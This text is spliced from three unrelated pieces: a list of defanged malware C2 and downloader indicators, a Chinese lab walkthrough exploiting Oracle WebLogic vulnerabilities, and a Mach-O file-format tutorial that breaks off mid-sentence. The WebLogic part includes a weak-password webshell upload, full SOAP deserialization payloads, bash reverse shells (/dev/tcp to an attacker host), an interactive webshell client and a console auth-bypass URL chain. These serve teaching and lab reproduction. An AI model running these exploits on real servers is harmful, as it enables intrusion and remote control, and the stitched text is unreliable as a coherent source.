1hxxp://kernel32[.]ddns.net:8080/index.asp
1hxxp://home[.]rzepka.se/index.asp
1hxxp://192.ho4x.com:80/index.asp
1hxxp://ec2-35-167-185-55[.]us-west-2.compute.amazonaws.com:443/index.asp
1hxxp://amazonsdeliveries[.]com/index.asp
1hxxp://ahyses[.]ddns.net:4444/index.asp
1hxxp://98[.]103.103.170:80/index.asp
1hxxp://98[.]103.103.168:80/index.asp
1hxxp://93[.]187.43.200:80/index.asp
1hxxp://84[.]200.2.13:8080/index.asp
1hxxp://78[.]229.133.134:80/index.asp
1hxxp://68[.]66.9.76/index.asp
1hxxp://52[.]36.245.145:8080/index.asp
1hxxp://52[.]28.250.99:8080/index.asp
1hxxp://52[.]196.119.113:80/index.asp
1hxxp://50[.]251.57.67:8080/index.asp
1hxxp://47[.]88.17.109:80/index.asp
1hxxp://46[.]246.87.205/index.asp
1hxxp://41[.]230.232.65:5552:5552/index.asp
1hxxp://24[.]111.1.135:22/index.asp
1hxxp://23[.]116.90.9:80/index.asp
1hxxp://222[.]230.139.166:80/index.asp
1hxxp://197[.]85.191.186:80/index.asp
1hxxp://197[.]85.191.186:443/index.asp
1hxxp://192[.]241.129.69:443/index.asp
1hxxp://191[.]101.31.118:8081/index.asp
1hxxp://187[.]228.46.144:8888/index.asp
1hxxp://187[.]177.151.80:12345/index.asp
1hxxp://166[.]78.124.106:80/index.asp
1hxxp://163[.]172.151.90:80/index.asp
1hxxp://149[.]56.178.124:8080/index.asp
1hxxp://139[.]59.12.202:80/index.asp
1hxxp://138[.]121.170.12:500/index.asp
1hxxp://138[.]121.170.12:3138/index.asp
1hxxp://138[.]121.170.12:3137/index.asp
1hxxp://138[.]121.170.12:3136/index.asp
1hxxp://138[.]121.170.12:3135/index.asp
1hxxp://138[.]121.170.12:3133/index.asp
1hxxp://138[.]121.170.12:3031/index.asp
1hxxp://137[.]117.188.120:443/index.asp
1hxxp://11[.]79.40.53:80/index.asp
1hxxp://108[.]61.217.22:443/index.asp
1hxxp://104[.]233.102.23:8080/index.asp
1hxxp://104[.]145.225.3:8081/index.asp
1hxxp://104[.]131.154.119:8080/index.asp
1hxxp://104[.]130.51.215:80/index.asp
1hxxp://100[.]100.100.100:8080/index.asp
6.3 Downloader DFSP 2X
25hxxp://93[.]174.94.135/~kali/ketty.exe
19hxxp://94[.]102.52.13/~yahoo/stchost.exe
17hxxp://93[.]174.94.137/~rama/jusched.exe
17hxxp://94[.]102.52.13/~harvy/scvhost.exe
2hxxp://10[.]10.01.10/bahoo/stchost.exe
1hxxp://93[.]174.94.135/~harvy/verfgt.exe
6.4 Downloader DFSP DPL
6hxxp://84[.]200.84.187/Google Update Check.html
2hxxp://52[.]183.79.94:80/TYBMkTfsQ
2hxxp://76[.]74.127.38/default-nco.html
2hxxp://pmlabs[.]net/cis/test.jpg
2hxxps://wowyy[.]ga/counter.php?c=pdfxpl+
1hxxp://192[.]168.137.241:8080/
1hxxp://91[.]120.23.152/wizz.txt
1hxxp://93[.]171.205.35:8080/
1hxxp://cannot[.]loginto.me/googlehelper.ps1
1hxxps://invesco[.]online/aaa
6.5 Downloader IEXDS
6hxxp://84[.]200.84.187/Google Update Check.html
2hxxp://52[.]183.79.94:80/TYBMkTfsQ
2hxxp://76[.]74.127.38/default-nco.html
2hxxp://pmlabs[.]net/cis/test.jpg
2hxxps://wowyy[.]ga/counter.php?c=pdfxpl+
1hxxp://192[.]168.137.241:8080/
1hxxp://91[.]120.23.152/wizz.txt
1hxxp://93[.]171.205.35:8080/
1hxxp://cannot[.]loginto.me/googlehelper.ps1
1hxxps://invesco[.]online/aaa
6.6 BITS Transfer
11hxxp://94[.]102.50.39/keyt.exe
6.7 TXT C2
4l[.]ns.topbrains.pl
2p[.]s.os.ns.rankingplac.pl
1l[.]ns.huawel.ro
1p[.]s.pn.ns.sse.net.pl
1p[.]s.rk.ns.rankingplac.pl
1p[.]s.w2.ns.rankingplac.pl
6.8 Downloader Proxy
7hxxp://54[.]213.195.138/s2.txt?u=
1hxxp://www[.]bcbs-arizona.org/s2.txt?u=
1hxxp://www[.]bcbsarizona.org/s2.txt?u=
6.9 Downloader Kraken
5hxxp://kulup[.]isikun.edu.tr/Kraken.jpg
6.10 PowerWorm
12hxxp://powerwormjqj42hu[.]onion/get.php?s=setup&mom=
7hxxp://powerwormjqj42hu[.]onion/get.php?s=setup&uid=
6.11 AMSI Bypass
4hxxp://35[.]165.38.15:80/login/process.php
1hxxp://amazonsdeliveries[.]com:80/account/login.php
1hxxp://35[.]164.97.4:80/admin/get.php
1hxxp://162[.]253.133.189:443/login/process.php
1hxxp://162[.]253.133.189:443/admin/get.php
6.12 Meterpreter RHTTP
1198[.]56.248.117
162[.]109.8.21
165[.]112.221.34
188[.]160.254.183
6.13 Layer of Obfuscation
1hxxp://ec2-35-167-185-55[.]us-west-2.compute.amazonaws.com:8080/anSfrf
6.14 SHA1 Hashtag
1hxxp://212[.]83.186.207/?i= | 社区文章 |
# 简介
WebLogic是[美国Oracle公司](https://baike.baidu.com/item/美国Oracle公司/9952086)出品的一个application
server，确切的说是一个基于[JAVAEE](https://baike.baidu.com/item/JAVAEE/3066623)架构的[中间件](https://baike.baidu.com/item/中间件/452240)，WebLogic是用于[开发](https://baike.baidu.com/item/开发/9400971)、集成、部署和管理大型分布式Web应用、[网络应用](https://baike.baidu.com/item/网络应用/2196523)和[数据库应用](https://baike.baidu.com/item/数据库应用/10563731)的Java[应用服务器](https://baike.baidu.com/item/应用服务器)。将Java的动态功能和Java
Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
**WebLogic** 是美商Oracle的主要产品之一，是并购BEA得来。是商业市场上主要的Java（J2EE）应用服务器软件（application
server）之一，是世界上第一个成功商业化的[J2EE应用服务器](https://baike.baidu.com/item/J2EE应用服务器/12678909),
已推出到12c(12.2.1.4) 版。而此产品也延伸出WebLogic Portal，WebLogic
Integration等企业用的中间件（但当下Oracle主要以Fusion Middleware融合中间件来取代这些WebLogic
Server之外的企业包），以及OEPE(Oracle Enterprise Pack for Eclipse)开发工具。
本文将对一些常见的weblogic漏洞进行漏洞分析及复现，漏洞环境基于vulhub搭建。
# 漏洞环境搭建
这里我为了方便，使用的是vulhub搭建docker进行漏洞复现
首先安装curl和docker
sudo apt install curl
sudo apt install docker.io
docker -v //查看是否安装成功
然后安装python和pip环境，命令如下
sudo apt install python
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
sudo python get-pip.py
pip -V //查看是否安装成功
然后再安装docker-compose
pip install docker-compose
sudo apt install docker-compose
docker-compose -v
到这个地方docker环境就已经搭建好了，这时候需要从github上把vulhub的漏洞环境给clone下来，这里直接clone网不太好，我就直接下载下来了copy到了靶机上
git clone https://github.com/vulhub/vulhub.git
# 弱口令
## 漏洞原理
在weblogic搭建好之后没有修改进入后台的密码导致弱口令登录获得webshell
## 漏洞复现
进入`weak_password`的docker环境
* * *
访问一下7001端口，这里出现404是正常的
访问<http://192.168.1.10:7001/console如下图所示>
这里注意一下不能使用bp抓包去爆破，错误密码5次之后就会自动锁定，这里使用weblogic/Oracle@123登陆后台
登录后台后点击部署
点击安装
点击上传文件
这里需要准备一个war包，这个war包里面存放的就是一个jsp的马，使用如下命令打包当前文件夹下的所有文件
jar -cvf aaa.war .
然后上传aaa.war点击下一步
一直Next即可
到这里点击完成
可以看到这里aaa.war已经部署成功
直接上冰蝎连接即可，这里aaa是我的war名，shell.jsp是打包在war里面的文件
# CVE-2017-3506
XMLDecoder反序列化漏洞(CVE-2017-3506)
## 漏洞原理
在/wls-wsat/CoordinatorPortType（POST）处构造SOAP（XML）格式的请求，在解析的过程中导致XMLDecoder反序列化漏洞
**分析漏洞调用链**
weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest
weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld
weblogic.wsee.workarea.WorkContextXmlInputAdapter
先看一下weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest方法
第43行，将localHeader1变量带入到readHeaderOld()方法中。localHeader1变量由第41行定义，其值为work:WorkContext
[/work:WorkContext](/work:WorkContext) 标签包裹的数据。
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
...
</java>
</work:WorkContext>
跟进readHeaderOld()方法（weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld）
在106行，有一句new WorkContextXmlInputAdapter(new
ByteArrayInputStream(localByteArrayOutputStream.toByteArray()))，创建了WorkContextXmlInputAdapter()对象（即对WorkContextXmlInputAdapter类进行了实例化），带入构造函数的参数即为传入的XML格式序列化数据。
跟进至WorkContextXmlInputAdapter类中（weblogic.wsee.workarea.WorkContextXmlInputAdapter
）
第19行，此处通过XMLDecoder反序列化，输入内容可控，故漏洞产生。
## 漏洞复现
这里使用的`weak_password`环境weblogic的版本为10.3.6，也存在这个漏洞，所以继续使用这个docker
访问以下目录中的一种，有回显如下图可以判断wls-wsat组件存在
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
在当前页面抓包之后在<string></string>标签之间分别写存放jsp的路径和要写入的shell
然后直接冰蝎连接即可
# CVE-2017-10271
XMLDecoder反序列化漏洞(CVE-2017-10271)
## 漏洞原理
在CVE-2017-3506之前，不对payload进行验证，使用object
tag可以RCE，CVE-2017-3506的补丁在`weblogic/wsee/workarea/WorkContextXmlInputAdapter.java`中添加了validate方法，在解析xml时，Element字段出现object
tag就抛出运行时异常，不过这次防护力度不够，导致了CVE-2017-10271，利用方式类似，使用了void
tag进行RCE，于是CVE-2017-10271的补丁将object、new、method关键字加入黑名单，针对void和array这两个元素是有选择性的抛异常，其中当解析到void元素后，还会进一步解析该元素中的属性名，若没有匹配上index关键字才会抛出异常。而针对array元素而言，在解析到该元素属性名匹配class关键字的前提下，还会解析该属性值，若没有匹配上byte关键字，才会抛出运行时异常。总之，这次的补丁基本上限定了不能生成java实例。
## 漏洞复现
进入CVE-2017-10271对应的docker环境
访问<http://192.168.1.10:7001/wls-wsat/CoordinatorPortType如下图所示则存在漏洞>
bp在当前页面抓包后使用bash命令反弹shell，nc开启端口即可
/bin/bash
-c
bash -i >& /dev/tcp/192.168.1.2/5555 0>&1
# CVE-2019-2725
wls-wsat反序列化漏洞(CVE-2019-2725)。攻击者可以发送精心构造的恶意HTTP请求，在未授权的情况下远程执行命令。
## 漏洞原理
漏洞触发点：bea_wls9_async_response.war、wsat.war
影响版本：Oracle WebLogic Server 10.* 、Oracle WebLogic Server 12.1.3
通过CVE-2019-2725补丁分析发现，较上一个漏洞CVE-2017-10271补丁而言，官方新增了对class元素的过滤，并且array元素的length属性转换为整形后不得大于10000：
本次漏洞利用某个元素成功替换了补丁所限制的元素，再次绕过了补丁黑名单策略，最终造成远程命令执行。
## 漏洞复现
访问以下目录中的一种，如下图所示则漏洞
/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttps
/_async/AsyncResponseServiceSoap12
/_async/AsyncResponseServiceSoap12Jms
/_async/AsyncResponseServiceSoap12Https
bp在当前页面抓包，使用bash命令反弹shell，nc开启端口监听即可
GET /_async/AsyncResponseService HTTP/1.1
Host: 192.168.1.10:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 782
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.1.2/5555 0>&1</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
# CVE-2018-2628
WebLogic T3协议反序列化命令执行漏洞(CVE-2018-2628)。Oracle WebLogic
Server的T3通讯协议的实现中存在反序列化漏洞。远程攻击者通过T3协议在Weblogic Server中执行反序列化操作，利用RMI（远程方法调用）
机制的缺陷，通过 JRMP 协议（Java远程方法协议）达到执行任意反序列化代码，进而造成远程代码执行
同为WebLogic
T3引起的反序列化漏洞还有CVE-2015-4852、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2018-2893、CVE-2016-0638
## 漏洞原理
在InboundMsgAbbrev中resolveProxyClass中，resolveProxyClass是处理rmi接口类型的，只判断了java.rmi.registry.Registry，这就会导致任意一个rmi接口都可绕过。核心部分就是JRMP（Java
Remote Method
protocol），在这个PoC中会序列化一个RemoteObjectInvocationHandler，它会利用UnicastRef建立到远端的tcp连接获取RMI
registry，加载回来再利用readObject解析，从而造成反序列化远程代码执行。
## 漏洞复现
进入CVE-2018-2628的docker环境
这里先使用nmap扫描一下是否开启了WebLogic T3服务
nmap -n -v -p 7001,7002 192.168.1.10 --script=weblogic-t3-info
这里使用K8Weblogic.exe直接写一个shell进去
然后使用以下py获取一个交互型shell
#!/usr/bin/env python
# -*- coding: utf-8 -*-
print r'''
https://github.com/jas502n/CVE-2018-2628
@author Jas502n
'''
import base64
import urllib
import requests
from urllib import *
def shell(url,cmd):
all_url = url + "?tom=" + base64.b64encode(cmd)
try:
result = requests.get(all_url)
if result.status_code == 200:
print result.content
except requests.ConnectionError,e:
print e
th = {"url":""}
while True:
if th.get("url") != "":
input_cmd = raw_input("cmd >>: ")
if input_cmd == "exit":
exit()
elif input_cmd == 'set':
url = raw_input("set shell :")
th['url'] = url
elif input_cmd == 'show url':
print th.get("url")
else:
shell(th.get("url"),input_cmd)
else:
url = raw_input("set shell :")
th["url"] = url
url这个位置就填之前exe上传shell的位置即可，拿到交互shell之后可以echo写一个冰蝎马或者powershell上线cs都可
# CVE-2018-2894
WebLogic 未授权访问漏洞(CVE-2018-2894)，存在两个未授权的页面，可以上传任意文件，但是这两个页面只在开发环境下存在
## 漏洞原理
在ws-testpage-impl.jar/com.oracle.webservices.testclient.ws.res.WebserviceResource
类中存在importWsTestConfig方法
跟进
RSdataHelper的convertFormDataMultiPart方法，接下来调用convertFormDataMultiPart方法，文件直接由字段
文件名拼接而成，没有任何限制。
ws-testpage-impl.jar!/com/oracle/webservices/testclient/ws/util/RSDataHelper.class:164
## 漏洞复现
进入CVE-2018-2894的docker环境
这里我们首先打开docker的开发环境。这里因为不是弱口令的docker，所以这里我们执行命令看一下进入后台的密码
docker-compose logs | grep password
使用得到的密码登入后台
点击高级选项
勾选启用web服务测试页
保存即可进入开发环境
开发环境下的测试页有两个，分别为`config.do`和`begin.do`
首先进入`config.do`文件进行设置，将目录设置为`ws_utc`应用的静态文件css目录，访问这个目录是无需权限的，这一点很重要。
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
点击添加后上传一个jsp
提交之后点击F12审查元素得到jsp上传后的时间戳
构造得到<http://192.168.1.10:7001/ws_utc/css/config/keystore/1626765378314_shell.jsp，连接即可>
这里我们在对`begin.do`未授权访问进行利用。访问<http://192.168.1.10:7001/ws_utc/begin.do，上传一个jsp>
点击提交，这里辉显示一个error不用管它，F12进入网络，然后筛选POST方法，得到一个jsp的路径
构造得到<http://192.168.1.10:7001/ws_utc/css/upload/RS_Upload_2021-07-20_07-21-28_111/import_file_name_shell.jsp，冰蝎连接即可>
# CVE-2020-14882
## 漏洞原理
这个洞的利用过程十分精妙，说实话有点没太跟明白，这里就不详细写了，大致就是通过访问`console.portal`路径并且触发`handle`执行。有兴趣的小伙伴请移步：
[CVE-2020-14882：Weblogic Console
权限绕过深入解析](https://cert.360.cn/report/detail?id=a95c049c576af8d0e56ae14fad6813f4
"CVE-2020-14882：Weblogic Console 权限绕过深入解析")
## 漏洞复现
首先进入CVE-2020-14882的docker环境
访问控制台如图所示
这里直接可以构造
[http://192.168.1.10:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29](http://192.168.1.10:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29)
访问即可进入后台，达到未授权访问的效果
但是这里没有部署安装的按钮，也就是说不能像常规进入后台后写shell进去，这里就需要用到远程加载XML文件拿shell
首先测试以下漏洞代码执行是否成功，在/tmp/下创建一个test文件夹
访问[http://192.168.1.10:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch](http://192.168.1.10:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession\(%22java.lang.Runtime.getRuntime\(\).exec\(%27touch)
/tmp/test%27);%22);
得到如下界面，这里看起来没有利用成功
我们进入docker查看发现文件夹已经创建成功了
docker ps
sudodocker exec -it b6a1b6c3e4d1 /bin/bash
这里创建一个xml文件，还是使用bash命令得到反弹shell
# reverse-bash.xml
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/192.168.1.2/5555 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
nc开启监听端口，访问
[http://192.168.1.10:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://192.168.1.2:8000/test.xml](http://192.168.1.10:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext\()")
即可得到反弹shell
# 总结
weblogic的漏洞其实有很多，这里只是挑了一些比较常见的漏洞进行漏洞分析和复现，其实也有批量检测漏洞的软件，这里为了加深印象还是手动复现了一遍，这里漏洞分析这一块当然也是跟着大佬们的思路跟下去，这里对前辈们表示衷心的感谢，不足之处欢迎指出。
欢迎关注公众号 **红队蓝军** | 社区文章 |
**作者：evilpan
原文链接：<https://evilpan.com/2020/09/06/macho-inside-out/>**
之前写了一篇[深入浅出ELF](https://evilpan.com/2020/08/09/elf-inside-out/)，作为姊妹篇这次就来聊聊MacOS的可执行文件格式MachO。
# Mach-O 101
在[之前的文章](https://evilpan.com/2020/08/09/elf-inside-out/)中我们说过，可执行文件的使命有两个，一是方便开发者在编译、链接时提供可扩展的封装结构；二是在执行时能给操作系统(内核)提供内存映射信息。MachO也不例外。
MachO本身没有什么特别的含义，就是`Mach
object`的简写，而[Mach](https://en.wikipedia.org/wiki/Mach_kernel)是早期的一个微内核。和ELF一样，MachO也极具拓展性，从全局视角来看，MachO文件可以分为三个部分，分别是:
1. Mach Header: 文件头信息
2. 可变长度的LOAD_COMMAND信息
3. 上述LOAD_COMMAND中所用到的具体信息(segments)
这里的segment可以理解为一段连续的内存空间，拥有对应的读/写/执行权限，并且在内存中总是页对齐的。每个segment由一个或者多个section组成，section表示特定含义数据或者代码的集合(不需要页对齐)。在macOS中，通常约定segment的名称为双下划线加全大写字母(如`__TEXT`)，section的名称为双下划线加小写字母(如`__text`)。
下面对这三个部分进行分别介绍。
> 注: MachO文件结构的表示通常分为32位和64位两种，本文以64位为例，毕竟这是历史的进程。
## Header
文件头信息参考[mach-o/loader.h](https://github.com/apple/darwin-xnu/blob/master/EXTERNAL_HEADERS/mach-o/loader.h)中的定义如下:
/* * The 64-bit mach header appears at the very beginning of object files for * 64-bit architectures. */ struct mach_header_64 { uint32_t magic; /* mach magic number identifier */ cpu_type_t cputype; /* cpu specifier */ cpu_subtype_t cpusubtype; /* machine specifier */ uint32_t filetype; /* type of file */ uint32_t ncmds; /* number of load commands */ uint32_t sizeofcmds; /* the size of all the load commands */ uint32_t flags; /* flags */ uint32_t reserved; /* reserved */ }; /* Constant for the magic field of the mach_header_64 (64-bit architectures) */ #define MH_MAGIC_64 0xfeedfacf /* the 64-bit mach magic number */ #define MH_CIGAM_64 0xcffaedfe /* NXSwapInt(MH_MAGIC_64) */
`filetype`表示类型，常见的有:
* MH_OBJECT: 可重定向的目标文件
* MH_EXECUTE: 可执行文件
* MH_DYLIB: 动态绑定的共享库文件
* …
`flags`为不同的文件标签的组合，每个标签占一个位，可以用位或来进行组合，常见的标签有:
* MH_NOUNDEFS: 该文件没有未定义的引用
* MH_DYLDLINK: 该文件将要作为动态链接器的输入，不能再被静态链接器修改
* MH_TWOLEVEL: 该文件使用两级名字空间绑定
* MH_PIE: 可执行文件会被加载到随机地址，只对`MH_EXECUTE`有效
* …
另外一个值得关注的就是`ncmds`和`sizeofcmds`，分别指定了 LOAD_COMMAND 的个数以及总大小，从这里也大概能猜到，每个
command 的大小是可变的。
## Command
`LOAD_COMMAND`是体现MachO文件拓展性的地方，每个 command 的头两个word分别表示类型和大小，如下:
struct load_command { uint32_t cmd; /* type of load command */ uint32_t cmdsize; /* total size of command in bytes */ };
不同的`cmd`类型都会有其对应的结构体来描述其内容，`cmdsize`表示的是整个cmd的大小，即包括头部和内容。也就是说在处理的时候当前cmd的位置加上cmdsize就是下一个cmd的位置。注意每个command的大小(即cmdsize)需要word对齐，对于32位CPU来说是4字节，64位则是8字节；同时对齐末尾的填充部分必须是0。
`loader.h`中绝大部分的篇幅就是用来定义各种不同command类型的结构体了，这里挑选一些比较常见的来进行介绍。
### LC_SEGMENT
`LC_SEGMENT`/`LC_SEGMENT64`可以说是最重要的一个command。表示当前文件的一部分将会映射到目标进程(task)的地址空间中，包括程序运行所需要的所有代码和数据。假设当前MachO文件的起始地址为begin，则映射的内容为:
* 原始地址(文件地址): _begin + fileoff_ ，大小为 _filesize_
* 目的地址(进程虚址): _vmaddr_ ，大小为 _vmsize_
其中`vmsize >= filesize`，如果有多出来的部分需要填充为零。segment_command的结构体表示如下:
struct segment_command_64 { /* for 64-bit architectures */ uint32_t cmd; /* LC_SEGMENT_64 */ uint32_t cmdsize; /* includes sizeof section_64 structs */ char segname[16]; /* segment name */ uint64_t vmaddr; /* memory address of this segment */ uint64_t vmsize; /* memory size of this segment */ uint64_t fileoff; /* file offset of this segment */ uint64_t filesize; /* amount to map from the file */ vm_prot_t maxprot; /* maximum VM protection */ vm_prot_t initprot; /* initial VM protection */ uint32_t nsects; /* number of sections in segment */ uint32_t flags; /* flags */ };
maxprot/initprot表示对应segment虚拟地址空间的RWX权限。如果segment包含一个或者多个section，那么在该segment结构体之后就紧跟着对应各个section头，总大小也包括在cmdsize之中，其结构如下:
struct section_64 { /* for 64-bit architectures */ char sectname[16]; /* name of this section */ char segname[16]; /* segment this section goes in */ uint64_t addr; /* memory address of this section */ uint64_t size; /* size in bytes of this section */ uint32_t offset; /* file offset of this section */ uint32_t align; /* section alignment (power of 2) */ uint32_t reloff; /* file offset of relocation entries */ uint32_t nreloc; /* number of relocation entries */ uint32_t flags; /* flags (section type and attributes)*/ uint32_t reserved1; /* reserved (for offset or index) */ uint32_t reserved2; /* reserved (for count or sizeof) */ uint32_t reserved3; /* reserved */ };
每个section头对应一个section，位置在 **相对文件起始地址** 的 _offset_ 处，大小为 _size_ 字节，对应的虚拟地址为
_addr_ 。这里的 _align_
对齐指的是在虚拟地址空间中的对齐，实际上在文件中是连续存放的，因为有size指定大小。reloff和nreloc与符号的重定向有关，在下面的加载过程一节中再进行介绍。
从这里可以看出，section的内容和segment是不连续存放的，只是section header在对应segment之后。而segment的
_vmsize_
实际上会大于segment+section_header的大小(即cmdsize)，猜测多出来的空间是内核加载MachO时将对应section内容填充进去，后面将会对这一猜测进行验证。
#### TEXT
`__TEXT`段包含`__text`、`__stubs`、`__stub_helper`、`__cstring`等section，一般用来存放不可修改的数据，比如代码和const字符串，可以用`otool`查看对应的section内容:
$ otool -V main -s __TEXT __stubs main: Contents of (__TEXT,__stubs) section 0000000100000f6a jmpq *0xa8(%rip) ## literal pool symbol address: _printf 0000000100000f70 jmpq *0xaa(%rip) ## literal pool symbol address: _set_foo
在实际的MachO可执行文件中观察发现TEXT的fileoff为0，也就是说TEXT段映射的时候会将当前文件头部分也映射到进程空间中。
(lldbinit) image dump sections main Sections for '/Users/evilpan/temp/macho-test/main' (x86_64): SectID Type Load Address Perm File Off. File Size Flags Section Name ---------- ---------------- --------------------------------------- ---- ---------- ---------- ---------- ---------------------------- 0x00000100 container [0x0000000000000000-0x0000000100000000)* --- 0x00000000 0x00000000 0x00000000 main.__PAGEZERO 0x00000200 container [0x0000000100000000-0x0000000100001000) r-x 0x00000000 0x00001000 0x00000000 main.__TEXT 0x00000001 code [0x0000000100000ee0-0x0000000100000f6a) r-x 0x00000ee0 0x0000008a 0x80000400 main.__TEXT.__text 0x00000002 code [0x0000000100000f6a-0x0000000100000f76) r-x 0x00000f6a 0x0000000c 0x80000408 main.__TEXT.__stubs 0x00000003 code [0x0000000100000f78-0x0000000100000f9c) r-x 0x00000f78 0x00000024 0x80000400 main.__TEXT.__stub_helper 0x00000004 data-cstr [0x0000000100000f9c-0x0000000100000fb0) r-x 0x00000f9c 0x00000014 0x00000002 main.__TEXT.__cstring 0x00000005 compact-unwind [0x0000000100000fb0-0x0000000100000ff8) r-x 0x00000fb0 0x00000048 0x00000000 main.__TEXT.__unwind_info 0x00000300 container [0x0000000100001000-0x0000000100002000) rw- 0x00001000 0x00001000 0x00000000 main.__DATA 0x00000006 data-ptrs [0x0000000100001000-0x0000000100001008) rw- 0x00001000 0x00000008 0x00000006 main.__DATA.__nl_symbol_ptr 0x00000007 data-ptrs [0x0000000100001008-0x0000000100001018) rw- 0x00001008 0x00000010 0x00000006 main.__DATA.__got 0x00000008 data-ptrs [0x0000000100001018-0x0000000100001028) rw- 0x00001018 0x00000010 0x00000007 main.__DATA.__la_symbol_ptr 0x00000009 zero-fill [0x0000000100001028-0x000000010000102c) rw- 0x00000000 0x00000000 0x00000001 main.__DATA.__common 0x00000400 container [0x0000000100002000-0x0000000100007000) r-- 0x00002000 0x00004a90 0x00000000 main.__LINKEDIT
上面例子中`__TEXT`段的的vm_size和file_size都是`0x1000`，这个大小在文件中正好是第一个`__DATA`section的起始地址:
`__PAGEZERO`是一个特殊的段，主要目的是将低地址占用，防止用户空间访问。个人理解这是对空指针引用类型漏洞的一种缓解措施，Linux内核中也有[mmap_min_addr](https://wiki.debian.org/mmap_min_addr)来限制用户可以mmap映射的最低地址。
#### DATA
`__DATA`段则包含`__got`、`__nl_symbol_ptr`、`__la_symbol_ptr`等section，一般包括可读写的内容。
#### LINKEDIT
另外一个重要的段为`__LINKEDIT`，其中包含需要被动态链接器使用的信息，包括符号表、字符串表、重定位项表、签名等。该段和`PAGEZERO`一样的是末尾没有额外的section信息，所以cmdsize都等于72(`sizeof(struct
segment_command_64)`)。其内容即`begin + fileoff`指向的地方保存linkedit
command的内容，这个内容的格式根据具体cmd的不同而不同。LINKEDIT可以理解为元数据，值得一提的是，经过观察，`fileoff
+filesize`即为MachO文件末尾，也就是等于文件的大小。
那么LINKEDIT块中的内容是什么格式呢？其实大部分有其专门的格式，比如对`Dynamic Loader
Info`来说是字节码，对于符号表来说是符号表结构体，对于函数地址项来说是`uleb128`编码的地址值，……因此LINKEDIT可谓包罗万象，需要具体问题具体分析，下面介绍的几个command就是其中几个例子。
### LC_CODE_SIGNATURE
Signature Command指定当前文件的签名信息，没有单独的结构体，而是使用下面这个结构来表示:
struct linkedit_data_command { uint32_t cmd; /* LC_CODE_SIGNATURE, LC_SEGMENT_SPLIT_INFO, LC_FUNCTION_STARTS, LC_DATA_IN_CODE, LC_DYLIB_CODE_SIGN_DRS or LC_LINKER_OPTIMIZATION_HINT. */ uint32_t cmdsize; /* sizeof(struct linkedit_data_command) */ uint32_t dataoff; /* file offset of data in __LINKEDIT segment */ uint32_t datasize; /* file size of data in __LINKEDIT segment */ };
cmd/cmdsize和前面LC_SEGMENT的含义类似，只不过cmdsize是个常数，等于当前结构体的大小。 _dataoff_
表示前面信息在LINKEDIT数据中的偏移，注意这里不是相对文件头的偏移； _datasize_ 则表示签名信息的大小。
苹果的签名数据格式并不是常规类型，对其详细介绍超过了本文的范围，对于具体的签名实现有兴趣的可以参考Jonathan大神的`*OS
Internal`或者[Code Signing – Hashed
